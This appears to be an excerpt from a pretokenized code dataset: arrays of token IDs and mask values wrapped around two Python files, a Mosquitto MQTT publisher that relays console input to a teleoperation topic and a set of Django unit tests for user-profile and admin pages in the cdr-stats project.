1493,
60,
11533,
60,
1493,
60,
5284,
60,
1493,
60,
9056,
60,
13059,
1530,
1577,
1046,
60,
10752,
65,
23097,
13,
2796,
60,
7432,
706,
60,
8262,
957,
60,
1493,
401,
586,
1414,
9,
267,
291,
14,
1431,
3118,
8,
548,
12,
298,
337,
331,
320,
401,
1414,
9,
339,
347,
511,
63,
18256,
66,
63,
2261,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
401,
4320,
5797,
63,
2261,
401,
298,
368,
13,
78,
2279,
14,
706,
14,
957,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
9,
267,
291,
14,
1431,
3118,
8,
548,
12,
298,
65,
23097,
13,
2796,
14,
706,
14,
957,
401,
1414,
9,
339,
347,
511,
63,
18256,
66,
63,
1813,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
401,
4320,
5797,
63,
5418,
401,
298,
337,
13,
1813,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
9,
267,
327,
710,
5062,
536,
365,
315,
282,
3365,
10237,
3734,
12,
880,
781,
883,
1133,
267,
327,
3659,
652,
315,
314,
3837,
2777,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
29,
2796,
821,
13,
69,
17,
14,
337,
331,
320,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2689,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
17,
1527,
20,
467,
586,
1414,
9,
339,
347,
511,
63,
3409,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
401,
4320,
908,
401,
298,
1773,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
9,
267,
327,
26710,
536,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
3134,
84,
568,
60,
84,
33,
60,
84,
5,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
969,
1055,
14418,
59,
18,
467,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
2071,
83,
3134,
84,
568,
60,
84,
14528,
60,
84,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2122,
450,
586,
315,
2697,
63,
4695,
8,
277,
14,
846,
14,
5187,
59,
969,
1055,
14418,
59,
18,
2522,
586,
1414,
9,
267,
327,
437,
2521,
20524,
2287,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
2796,
1165,
13,
69,
16,
14,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
irzaip/cipi
|
Other/mos_pub_test.py
|
2
|
2605
|
import time
#!/usr/bin/python
# Copyright (c) 2010,2011 Roger Light <roger@atchoo.org>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of mosquitto nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
import mosquitto
s = 0
def on_connect(mosq, obj, rc):
print "Publisher Connected"
def on_message(mosq, obj, msg):
print(msg.topic+" "+str(msg.qos)+" "+str(msg.payload))
def on_publish(mosq, obj, mid):
print("mid: "+str(mid))
def on_subscribe(mosq, obj, mid, granted_qos):
print("Subscribed: "+str(mid)+" "+str(granted_qos))
def on_log(mosq, obj, level, string):
print(string)
# If you want to use a specific client id, use
# mqttc = mosquitto.Mosquitto("client-id")
# but note that the client id must be unique on the broker. Leaving the client
# id parameter empty will generate a random id for you.
mqttc = mosquitto.Mosquitto()
mqttc.on_message = on_message
mqttc.on_connect = on_connect
mqttc.on_publish = on_publish
mqttc.on_subscribe = on_subscribe
# Uncomment to enable debug messages
#mqttc.on_log = on_log
mqttc.connect("192.168.30.100", 1883, 60)
while 1:
mqttc.loop()
s = raw_input("COMMMAND> ")
mqttc.publish("irq/teleop",s)
print s
time.sleep(0.2)
|
lgpl-3.0
|
[
646,
900,
199,
3381,
2647,
15,
1393,
15,
1548,
199,
199,
3,
1898,
334,
67,
9,
7129,
12,
8128,
6848,
836,
29684,
665,
293,
836,
32,
693,
1534,
14,
1308,
30,
199,
3,
2900,
4481,
4644,
14,
199,
3,
221,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
221,
199,
3,
413,
14,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
4245,
12,
199,
3,
257,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
499,
14,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
4248,
199,
3,
257,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
315,
314,
199,
3,
257,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
650,
14,
11443,
314,
536,
402,
333,
736,
10589,
475,
6590,
314,
1561,
402,
2399,
199,
3,
257,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
257,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
221,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
11489,
1549,
6483,
6262,
199,
3,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
199,
3,
9110,
6736,
334,
6446,
12,
5400,
2845,
5471,
2296,
12,
9838,
1634,
199,
3,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
7126,
12,
1549,
9206,
27,
1549,
9748,
199,
3,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
1634,
5603,
12,
7061,
1621,
199,
3,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
9254,
1549,
7334,
9,
199,
3,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
199,
3,
9726,
1634,
9712,
9784,
14,
199,
199,
646,
333,
736,
10589,
475,
199,
199,
83,
275,
378,
199,
199,
318,
641,
63,
2242,
8,
573,
3526,
12,
1559,
12,
4819,
304,
272,
870,
298,
27341,
1448,
4636,
2,
1362,
199,
318,
641,
63,
1188,
8,
573,
3526,
12,
1559,
12,
1499,
304,
272,
870,
8,
1328,
14,
5746,
5207,
7210,
495,
8,
1328,
14,
12282,
18663,
7210,
495,
8,
1328,
14,
4749,
430,
199,
199,
318,
641,
63,
4763,
8,
573,
3526,
12,
1559,
12,
10887,
304,
272,
870,
480,
8523,
26,
7210,
495,
8,
8523,
430,
199,
199,
318,
641,
63,
10108,
8,
573,
3526,
12,
1559,
12,
10887,
12,
10009,
63,
12282,
304,
272,
870,
480,
2610,
14922,
26,
7210,
495,
8,
8523,
18663,
7210,
495,
8,
26655,
471,
63,
12282,
430,
199,
199,
318,
641,
63,
793,
8,
573,
3526,
12,
1559,
12,
2166,
12,
1059,
304,
272,
870,
8,
875,
9,
199,
199,
3,
982,
1265,
2934,
370,
675,
282,
2488,
1890,
1305,
12,
675,
199,
3,
333,
8440,
3641,
275,
333,
736,
10589,
475,
14,
45,
736,
10589,
475,
480,
1258,
13,
344,
531,
199,
3,
1325,
5317,
626,
314,
1890,
1305,
1471,
506,
3747,
641,
314,
15416,
14,
7005,
5519,
314,
1890,
199,
3,
1305,
2725,
2701,
911,
3550,
282,
2196,
1305,
367,
1265,
14,
199,
8334,
84,
3641,
275,
333,
736,
10589,
475,
14,
45,
736,
10589,
475,
342,
199,
8334,
84,
3641,
14,
265,
63,
1188,
275,
641,
63,
1188,
199,
8334,
84,
3641,
14,
265,
63,
2242,
275,
641,
63,
2242,
199,
8334,
84,
3641,
14,
265,
63,
4763,
275,
641,
63,
4763,
199,
8334,
84,
3641,
14,
265,
63,
10108,
275,
641,
63,
10108,
199,
3,
1910,
3349,
370,
4756,
3105,
3788,
199,
3,
8334,
84,
3641,
14,
265,
63,
793,
275,
641,
63,
793,
199,
8334,
84,
3641,
14,
2242,
480,
5756,
14,
6568,
14,
1216,
14,
1960,
401,
413,
16456,
12,
5212,
9,
199,
199,
6710,
413,
26,
272,
333,
8440,
3641,
14,
3813,
342,
272,
308,
275,
3066,
63,
1210,
480,
5378,
45,
3649,
30,
6099,
272,
333,
8440,
3641,
14,
4763,
480,
7277,
15,
15253,
411,
401,
83,
9,
272,
870,
308,
272,
900,
14,
4532,
8,
16,
14,
18,
9,
1362,
4388,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
900,
199,
3381,
2647,
15,
1393,
15,
1548,
199,
199,
3,
1898,
334,
67,
9,
7129,
12,
8128,
6848,
836,
29684,
665,
293,
836,
32,
693,
1534,
14,
1308,
30,
199,
3,
2900,
4481,
4644,
14,
199,
3,
221,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
221,
199,
3,
413,
14,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
4245,
12,
199,
3,
257,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
499,
14,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
4248,
199,
3,
257,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
315,
314,
199,
3,
257,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
650,
14,
11443,
314,
536,
402,
333,
736,
10589,
475,
6590,
314,
1561,
402,
2399,
199,
3,
257,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
257,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
221,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
11489,
1549,
6483,
6262,
199,
3,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
199,
3,
9110,
6736,
334,
6446,
12,
5400,
2845,
5471,
2296,
12,
9838,
1634,
199,
3,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
7126,
12,
1549,
9206,
27,
1549,
9748,
199,
3,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
1634,
5603,
12,
7061,
1621,
199,
3,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
9254,
1549,
7334,
9,
199,
3,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
199,
3,
9726,
1634,
9712,
9784,
14,
199,
199,
646,
333,
736,
10589,
475,
199,
199,
83,
275,
378,
199,
199,
318,
641,
63,
2242,
8,
573,
3526,
12,
1559,
12,
4819,
304,
272,
870,
298,
27341,
1448,
4636,
2,
1362,
199,
318,
641,
63,
1188,
8,
573,
3526,
12,
1559,
12,
1499,
304,
272,
870,
8,
1328,
14,
5746,
5207,
7210,
495,
8,
1328,
14,
12282,
18663,
7210,
495,
8,
1328,
14,
4749,
430,
199,
199,
318,
641,
63,
4763,
8,
573,
3526,
12,
1559,
12,
10887,
304,
272,
870,
480,
8523,
26,
7210,
495,
8,
8523,
430,
199,
199,
318,
641,
63,
10108,
8,
573,
3526,
12,
1559,
12,
10887,
12,
10009,
63,
12282,
304,
272,
870,
480,
2610,
14922,
26,
7210,
495,
8,
8523,
18663,
7210,
495,
8,
26655,
471,
63,
12282,
430,
199,
199,
318,
641,
63,
793,
8,
573,
3526,
12,
1559,
12,
2166,
12,
1059,
304,
272,
870,
8,
875,
9,
199,
199,
3,
982,
1265,
2934,
370,
675,
282,
2488,
1890,
1305,
12,
675,
199,
3,
333,
8440,
3641,
275,
333,
736,
10589,
475,
14,
45,
736,
10589,
475,
480,
1258,
13,
344,
531,
199,
3,
1325,
5317,
626,
314,
1890,
1305,
1471,
506,
3747,
641,
314,
15416,
14,
7005,
5519,
314,
1890,
199,
3,
1305,
2725,
2701,
911,
3550,
282,
2196,
1305,
367,
1265,
14,
199,
8334,
84,
3641,
275,
333,
736,
10589,
475,
14,
45,
736,
10589,
475,
342,
199,
8334,
84,
3641,
14,
265,
63,
1188,
275,
641,
63,
1188,
199,
8334,
84,
3641,
14,
265,
63,
2242,
275,
641,
63,
2242,
199,
8334,
84,
3641,
14,
265,
63,
4763,
275,
641,
63,
4763,
199,
8334,
84,
3641,
14,
265,
63,
10108,
275,
641,
63,
10108,
199,
3,
1910,
3349,
370,
4756,
3105,
3788,
199,
3,
8334,
84,
3641,
14,
265,
63,
793,
275,
641,
63,
793,
199,
8334,
84,
3641,
14,
2242,
480,
5756,
14,
6568,
14,
1216,
14,
1960,
401,
413,
16456,
12,
5212,
9,
199,
199,
6710,
413,
26,
272,
333,
8440,
3641,
14,
3813,
342,
272,
308,
275,
3066,
63,
1210,
480,
5378,
45,
3649,
30,
6099,
272,
333,
8440,
3641,
14,
4763,
480,
7277,
15,
15253,
411,
401,
83,
9,
272,
870,
308,
272,
900,
14,
4532,
8,
16,
14,
18,
9,
1362,
4388,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
areski/cdr-stats
|
cdr_stats/user_profile/tests.py
|
2
|
4281
|
#
# CDR-Stats License
# http://www.cdr-stats.org
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Copyright (C) 2011-2015 Star2Billing S.L.
#
# The Initial Developer of the Original Code is
# Arezqui Belaid <info@star2billing.com>
#
from django.contrib.auth.models import User
from django.test import TestCase
from django.contrib.auth.forms import PasswordChangeForm
from user_profile.models import UserProfile
from user_profile.forms import UserChangeDetailForm, UserChangeDetailExtendForm
from user_profile.views import customer_detail_change
from django_lets_go.utils import BaseAuthenticatedClient
# from django.contrib import admin
# admin.site.register(User)
class UserProfileAdminView(BaseAuthenticatedClient):
fixtures = ['auth_user.json', 'notice_type.json', 'notification.json',
'country_dialcode.json', 'voip_gateway.json', 'voip_provider.json',
'voip_billing.json', 'user_profile.json']
def test_admin_staff_view_list(self):
response = self.client.get("/admin/auth/staff/")
self.assertEqual(response.status_code, 200)
def test_admin_staff_view_add(self):
response = self.client.get("/admin/auth/staff/add/")
self.assertEqual(response.status_code, 200)
def test_admin_customer_view_list(self):
response = self.client.get("/admin/auth/customer/")
self.assertEqual(response.status_code, 200)
def test_admin_customer_view_add(self):
response = self.client.get("/admin/auth/customer/add/")
self.assertEqual(response.status_code, 200)
class UserProfileCustomerView(BaseAuthenticatedClient):
"""Test Function to check UserProfile Customer pages"""
fixtures = ['auth_user.json', 'notice_type.json', 'notification.json',
'country_dialcode.json', 'voip_gateway.json', 'voip_provider.json',
'voip_billing.json', 'user_profile.json']
def test_user_settings(self):
"""Test Function to check User settings"""
response = self.client.get('/user_detail_change/')
self.assertTrue(response.context['user_detail_form'],
UserChangeDetailForm(self.user))
self.assertTrue(response.context['user_detail_extened_form'],
UserChangeDetailExtendForm(self.user))
self.assertTrue(response.context['user_password_form'],
PasswordChangeForm(self.user))
self.assertEqual(response.status_code, 200)
self.assertTemplateUsed(response, 'user_profile/user_detail_change.html')
request = self.factory.get('/user_detail_change/')
request.user = self.user
request.session = {}
response = customer_detail_change(request)
self.assertEqual(response.status_code, 200)
response = self.client.post('/user_detail_change/?action=tabs-1',
{'form-type': 'change-detail',
'first_name': 'admin',
'phone_no': '9324552563'})
self.assertTrue(response.context['user_detail_form'],
UserChangeDetailForm(self.user))
self.assertTrue(response.context['user_detail_extened_form'],
UserChangeDetailExtendForm(self.user))
response = self.client.post('/user_detail_change/?action=tabs-2',
{'form-type': ''})
self.assertTrue(response.context['user_password_form'],
PasswordChangeForm(self.user))
class UserProfileModel(TestCase):
"""Test UserProfile Model"""
fixtures = ['auth_user.json', '2_example_voipplan.json', 'user_profile.json']
def setUp(self):
self.user = User.objects.get(username='admin')
self.user_profile = UserProfile.objects.get(
user=self.user,
)
def test_user_profile_forms(self):
self.assertEqual(self.user_profile.user, self.user)
form = UserChangeDetailForm(self.user)
form = UserChangeDetailExtendForm(self.user)
def teardown(self):
self.user_profile.delete()
|
mpl-2.0
|
[
3,
199,
3,
445,
4564,
13,
8257,
844,
199,
3,
1455,
921,
1544,
14,
2866,
82,
13,
3200,
14,
1308,
199,
3,
199,
3,
961,
5800,
5495,
8204,
365,
5420,
370,
314,
2895,
402,
314,
17728,
1684,
199,
3,
844,
12,
373,
14,
499,
14,
16,
14,
982,
282,
1331,
402,
314,
28481,
1990,
440,
1854,
543,
642,
570,
12,
199,
3,
2047,
883,
3332,
1373,
737,
1455,
921,
12102,
14,
1308,
15,
3950,
15,
18,
14,
16,
8083,
199,
3,
199,
3,
1898,
334,
35,
9,
7760,
13,
7806,
1933,
285,
18,
34,
12687,
428,
14,
44,
14,
199,
3,
199,
3,
710,
6026,
9607,
402,
314,
12769,
5495,
365,
199,
3,
23889,
90,
783,
699,
352,
21745,
665,
815,
32,
7848,
18,
19929,
14,
957,
30,
199,
3,
199,
199,
504,
1639,
14,
2828,
14,
1178,
14,
992,
492,
2876,
199,
504,
1639,
14,
396,
492,
7640,
199,
504,
1639,
14,
2828,
14,
1178,
14,
3351,
492,
13635,
32523,
199,
504,
922,
63,
2913,
14,
992,
492,
19037,
199,
504,
922,
63,
2913,
14,
3351,
492,
2876,
4001,
8064,
2821,
12,
2876,
4001,
8064,
30775,
2821,
199,
504,
922,
63,
2913,
14,
4196,
492,
15229,
63,
5506,
63,
1461,
199,
504,
1639,
63,
16537,
63,
1939,
14,
1208,
492,
3523,
30871,
3041,
199,
199,
3,
687,
1639,
14,
2828,
492,
4628,
199,
3,
4628,
14,
2124,
14,
2683,
8,
1899,
9,
421,
199,
533,
19037,
4880,
2768,
8,
1563,
30871,
3041,
304,
272,
15188,
275,
788,
1178,
63,
751,
14,
1001,
297,
283,
20556,
63,
466,
14,
1001,
297,
283,
6761,
14,
1001,
297,
355,
283,
6063,
63,
328,
279,
600,
14,
1001,
297,
283,
2392,
711,
63,
7019,
14,
1001,
297,
283,
2392,
711,
63,
3780,
14,
1001,
297,
355,
283,
2392,
711,
63,
19929,
14,
1001,
297,
283,
751,
63,
2913,
14,
1001,
418,
339,
347,
511,
63,
2113,
63,
7018,
63,
1345,
63,
513,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
7018,
13589,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
339,
347,
511,
63,
2113,
63,
7018,
63,
1345,
63,
525,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
7018,
15,
525,
13589,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
339,
347,
511,
63,
2113,
63,
10178,
63,
1345,
63,
513,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
10178,
13589,
267,
291,
